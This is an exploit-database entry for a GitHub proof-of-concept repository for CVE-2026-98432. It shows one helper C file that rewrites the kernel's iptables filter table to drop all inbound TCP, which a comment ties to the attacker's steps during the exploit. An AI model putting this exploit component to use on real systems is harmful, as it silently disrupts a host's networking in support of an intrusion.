Exploit database

GH-8526f60887ae774ba835fbcd60455bfd

googlesky/cve-2026-98432

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-98432

33 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files2
googlesky/cve-2026-98432Revision 59a7612ef2bc

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

poc/xt_filter.c

C · 2,556 bytes
/* standalone xtables programming: filter INPUT drop SYN+ACK.
 * Separate TU because linux/netfilter uapi headers conflict with glibc's
 * netinet/in.h. */
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>          /* glibc first */
#include <linux/netfilter_ipv4.h>
#include <linux/types.h>
#include <linux/netfilter/x_tables.h>
#include <linux/netfilter_ipv4/ip_tables.h>

#ifndef IPT_ALIGN
#define IPT_ALIGN(s) XT_ALIGN(s)
#endif

int xt_drop_synack_in(void)
{
    static unsigned char blob[2048];
    memset(blob, 0, sizeof blob);
    struct ipt_replace *repl = (struct ipt_replace *)blob;
    strcpy(repl->name, "filter");
    repl->valid_hooks = 1 << NF_INET_LOCAL_IN;
    repl->num_counters = 2;
    repl->counters = NULL;

    unsigned char *base = blob + sizeof(*repl);
    unsigned char *p = base;

    /* rule: -t filter -A INPUT -p tcp -j DROP
     * (no match extensions used — ipt_ip.proto is core; the attacker needs
     * no inbound TCP during MIGRATE: pcap taps sit before netfilter) */
    struct ipt_entry *e = (struct ipt_entry *)p;
    e->ip.proto = IPPROTO_TCP;
    e->target_offset = sizeof(*e);
    struct xt_standard_target *tg = (struct xt_standard_target *)((unsigned char *)e + e->target_offset);
    tg->target.u.user.target_size = XT_ALIGN(sizeof(*tg));
    tg->verdict = -NF_DROP - 1;
    e->next_offset = e->target_offset + tg->target.u.user.target_size;
    p += e->next_offset;

    /* underflow: policy ACCEPT */
    struct ipt_entry *u = (struct ipt_entry *)p;
    u->target_offset = sizeof(*u);
    struct xt_standard_target *ut = (struct xt_standard_target *)((unsigned char *)u + u->target_offset);
    ut->target.u.user.target_size = XT_ALIGN(sizeof(*ut));
    ut->verdict = -NF_ACCEPT - 1;
    u->next_offset = u->target_offset + ut->target.u.user.target_size;
    p += u->next_offset;

    repl->num_entries = 2;
    repl->size = (unsigned int)(p - base);
    repl->hook_entry[NF_INET_LOCAL_IN] = 0;
    repl->underflow[NF_INET_LOCAL_IN]  = (unsigned int)(e->next_offset);
    /* user counters array (kernel writes back per-CPU stats) */
    struct xt_counters *ctr = (struct xt_counters *)p;
    memset(ctr, 0, 2 * sizeof(*ctr));
    repl->counters = ctr;

    int fd = socket(AF_INET, SOCK_RAW | SOCK_CLOEXEC, IPPROTO_RAW);
    if (fd < 0) return -1;
    int r = setsockopt(fd, SOL_IP, IPT_SO_SET_REPLACE, blob, sizeof(*repl) + repl->size + 2 * sizeof(*ctr));
    int saved = errno;
    close(fd);
    errno = saved;
    return r;
}